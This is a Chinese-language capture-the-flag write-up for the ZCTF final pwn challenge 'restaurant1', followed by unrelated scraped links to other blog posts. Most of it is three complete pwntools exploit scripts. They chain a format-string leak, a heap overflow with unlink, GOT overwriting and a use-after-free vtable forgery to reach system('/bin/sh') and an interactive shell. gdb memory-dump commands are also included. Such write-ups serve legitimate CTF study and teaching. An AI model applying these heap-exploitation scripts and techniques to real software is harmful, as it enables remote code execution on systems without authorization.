ZCTF-final-restaurant1
和线上赛的题目差别不大,但是需要自己去泄露堆的地址。除了线上赛的溢出之外,还多了一个Use After Free的洞。我写了两种利用方法。
线上赛writeup见:http://www.cnblogs.com/wangaohui/p/5211672.html
信息泄露可以通过格式化字符串的洞来完成。在entree的第二个和soup的第三个存在格式化字符串漏洞。


第一种利用方法和线上赛相似,只不过需要信息泄露。在比赛中,不知道什么鬼没有权限拷贝libc,所以用的是dynelf进行内存泄漏。成功概率1/9。这个exp在决赛的时候,写出来的有点晚,就打了十几次。
from pwn import *
import time
context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
#raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') def infoleak(addr):
ppcom = 'xxx'
tastecom = p64(addr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
strs = s.recvuntil('\n')[:-1]
if strs.find('-') != -1:
data = (int(strs[1:])^0xffffffff)+1
else:
data = int(strs)
return p32(data) d = DynELF(infoleak, elf=ELF('./restaurant1'))
systemaddr = d.lookup('system', 'libc')
log.info("systemaddr=" + hex(systemaddr)) #systemaddr = 0xaaaaaaaaaaaaaaaa
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50)) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive()
s.close()
后来发现,可以用gdb调试,因此和拥有了libc差不多。
from pwn import *
import time
context.log_level = 'debug'
#by wangaohui #s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!')
s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('cn')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(0x404b50+2+10-5)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a staple food, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%5$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 2 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heap = int(leaked[2:-1],16) - 0x158
print hex(heap)
print 'leaked heap is ' + leaked s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('xxx')
s.recvuntil('How does this dish taste: ')
s.sendline('yyy')
s.recvuntil('Successfully comment.') fakefd = heap - 0x18
fakebk = heap - 0x10
appcom = 'a'*40 + p64(0x80) + p64(0x90)
tastecom = p64(0x81) + p64(fakefd) + p64(fakebk)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom)
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')#unlink
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') appcom = 'xxx'
tastecom = p64(0x6070B8)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
if atoistr.find('-') != -1:
atoiaddr1 = (int(atoistr[1:])^0xffffffff)+1
print 'atoiaddr1 is: %x' % atoiaddr1 appcom = 'xxx'
tastecom = p64(0x6070Bc)#atoi's got
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your age: ')
atoistr = s.recvuntil('\n')[:-1]
atoiaddr2 = int(atoistr)
print 'atoiaddr2 is: %x' % atoiaddr2
atoiaddr = (atoiaddr2<<32) + atoiaddr1
print 'atoiaddr is: %x' % atoiaddr systemaddr = atoiaddr + 0xc6f0
appcom = 'xxx'
tastecom = 'a'*8 + p64(systemaddr)
s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('make a comment(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(appcom)
s.recvuntil('How does this dish taste: ')
s.sendline(tastecom) s.recvuntil('9. Finish your order.')
s.sendline('') s.recvuntil('3.Just so so!')
s.sendline('3.Just so so!')
s.recvuntil('Thank you for your comment,bye!')
s.interactive() s.close()
第二种利用方法,用的是Use After Free,当申请到entree的第一种时,就是买到了special,这个时候有两个指针指向了对应的内存堆块,但是取消订的菜的时候(就是free的时候),其中有一个指针并没有置为Null。所以,后面可以通过change account重新申请到free掉的那块内存,而且内容完全控制,完全可以伪造虚表指针,指向伪造的虚表,进而利用。
申请到已经free的内存块的代码:

在最后,通过伪造虚表和虚表指针执行到system的时候,发现参数传递不能控制为'/bin/sh;'。决定利用Libc的gadgets来进行利用。


因此,在没有libc的情况下,把Libc给dump出来,找的gadets。如下:

Mov rdi, rdx,将rdi指向了/bin/sh;而rax指向的是堆的内存,我们可以控制,因此可以将system的地址放到rax+0x20处,这样的话就执行了system("/bin/sh;")。成功概率为1/9。

from pwn import *
import time
#context.log_level = 'debug'
#by wangaohui
#s= remote('172.16.5.10',9002,timeout=60)
s= remote('127.0.0.1',10001,timeout=60)
time.sleep(1)
print 'pid of restaurant is :' + str(pwnlib.util.proc.pidof('restaurant1')[0])
raw_input('go!') s.recvuntil('Please enter your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Do you have any taboos?')
s.sendline('/bin/sh;')
s.recvuntil('Are you from China? (y/n) ')
s.sendline('n')
s.recvuntil('please enter your country: ')
s.sendline('/bin/sh;')
s.recvuntil('How old are you: ')
s.sendline('') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline('/bin/sh;')
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order a soup, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline('%7$p %41$p')
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Order 3 :')
s.recvuntil('appearance comment: ')
leaked = s.recvuntil('\n')
heapstr = leaked.split(' ')[0]
heap = int(heapstr[2:],16)
print 'leaked heap is ' + heapstr
libc_start_mainstr = leaked.split(' ')[1]
libc_start_main = int(libc_start_mainstr[2:-1],16) - 0xf5
print 'leaked libc_start_main is ' + hex(libc_start_main)
magic = libc_start_main + 0x1f92b
print 'magic is ' + hex(magic) s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('How does this dish look: ')
s.sendline(p64(magic)*3) #virtual table
s.recvuntil('How does this dish taste: ')
s.sendline('xxx')
s.recvuntil('Successfully comment.') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('Successfully order an entree, enjoy it!') s.recvuntil('9. Finish your order.')
s.sendline('')
s.recvuntil('want to cancel(1,2 or 3 depend on menu): ')
s.sendline('')
s.recvuntil('the chef has already started to cook.') s.recvuntil('9. Finish your order.') #uaf
s.sendline('')
s.recvuntil('Your name: ')
s.sendline('/bin/sh;')
s.recvuntil('Your country: ')
s.sendline('/bin/sh;')
s.recvuntil('Your taboos: ')
s.sendline(p64(heap+0x60) + 'a'*0x48)
s.recvuntil('Please enter the credit card password :')
s.sendline('zctf1sgood')
s.recvuntil('Recharge :')
s.sendline(str(10000)) s.recvuntil('9. Finish your order.')
s.sendline('')
s.interactive()
s.close()
后来,longlong师兄告诉我,libc里有magic system address,可以直接用来拿shell,就不用这么麻烦了,不过暂时没有写。
附两条用到的命令:
searchmem "\x48\x8b\x10\xe8" 0x7ffff7726000 0x7ffff78c8000
dump memory libc.so.dump 0x7ffff7726000 0x7ffff78c8000
ZCTF-final-restaurant1的更多相关文章
- java抽象、接口 和final
抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...
- Java内部类final语义实现
本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...
- Java关键字final、static
一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...
- JavaSE 之 final 初探
我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然. 1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...
- PHP的final关键字、static关键字、const关键字
在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...
- final修饰符
final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...
- 浅析Java中的final关键字(转载)
自http://www.cnblogs.com/dolphin0520/p/3736238.html转载 一.final关键字的基本用法 在Java中,final关键字可以用来修饰类.方法和变量(包括 ...
- java关键字extends(继承)、Supe(父类引用空间)、 This(方法调用者对象)、Instanceof(实例类型-判断对象是否属于某个类)、final(最终)、abstract(抽象) 、interface(接口)0
java 继承使用关键字extends 继承的作用:减少代码量,优化代码 继承的使用注意点: 1子类不能继承父类的私有变量 2.子类不能继承父类的构造方法 3.子类在调用自己的构造方法时 会默认调 ...
- files list file for package 'xxx' is missing final newline
#!/usr/bin/python # 8th November, 2009 # update manager failed, giving me the error: # 'files list f ...
- final关键字(final是最终的)
final关键字(final是最终的) 1.final修饰特点 a.修饰类,类不能被继承 b.修饰变量,变量就变成了常量, 修饰基本数据类:final int num = 10; 修饰引用数据类型变量 ...
随机推荐
- 【转】C++实现RTMP协议发送H.264编码及AAC编码的音视频
RTMP(Real Time Messaging Protocol)是专门用来传输音视频数据的流媒体协议,最初由Macromedia 公司创建,后来归Adobe公司所有,是一种私有协议,主要用来联系F ...
- 电子设计省赛--DMA与ADC
//2014年4月17日 //2014年6月20日入"未完毕" //2014年6月21日 DMA可实现无需cpu控制中断的传输数据保存. 特别是ADC转换多个通道时要用到. 关键是 ...
- poj 3436 (最大流)
题意:每台电脑共有p种零件,现在有n台机器,给出n台机器每台需要的一些种类零件当原料(0代表不需要,1代表必须要,2代表可有可无)和输出的产品零件.问怎么安排生产线使生产出来零件可以组装的电脑最多. ...
- C++ Primer 学习笔记_69_面向对象编程 --继承情况下的类作用域
面向对象编程 --继承情况下的类作用域 引言: 在继承情况下,派生类的作用域嵌套在基类作用域中:假设不能在派生类作用域中确定名字,就在外围基类作用域中查找该名字的定义. 正是这样的类作用域的层次嵌套使 ...
- Linux shell中的一个问题 ${}带正则匹配的表达式
目前在准备龙芯项目的PMON,在研究其编译过程的时候,看到一些make 语句,百思不得其解.后来在shell编程中看到一点资料,牵扯到Shell中的正则表达式.故记录下来,以备后来查阅. 问题: 在某 ...
- Windows Live Writer针对CNBLOG的代码高亮插件
一,CodeHighlighter 1. 下载插件 下载地址:http://files.cnblogs.com/files/cmt/WindowsLiveWriter.CNBlogs.CodeHigh ...
- 记录ASP.NET页面表单初始状态(主要是为了前台可以根据这个判断页面是否变动了)
把页面表单状态记录到HiddenField中. 这里只提供后台代码, 前台逻辑根据需求自由定义. 存放值的ViewState: protected Dictionary<string, stri ...
- autoresizing代码实现
主要解决父子控件之间的布局关系: /* Flexible 灵活的,自由的 typedef NS_OPTIONS(NSUInteger, UIViewAutoresizing) ...
- C#中Spli、正则表达式分解字符串详解
一.String.Split方法提供了如下6个重载函数: 名称 说明 String.Split (Char[]) 返回包含此实例中的子字符串(由指定 Char 数组的元素分隔)的 String 数组. ...
- 2015.4.10-C#入门基础(三)
今天,我们聊一聊一些基本问题: 1.修饰符有哪些?有什么区别呢? 首先大家想到的应该是 public:特点是所属类的成员和非所属类的成员都可以访问 private:只有所属类的成员才可以访问 prot ...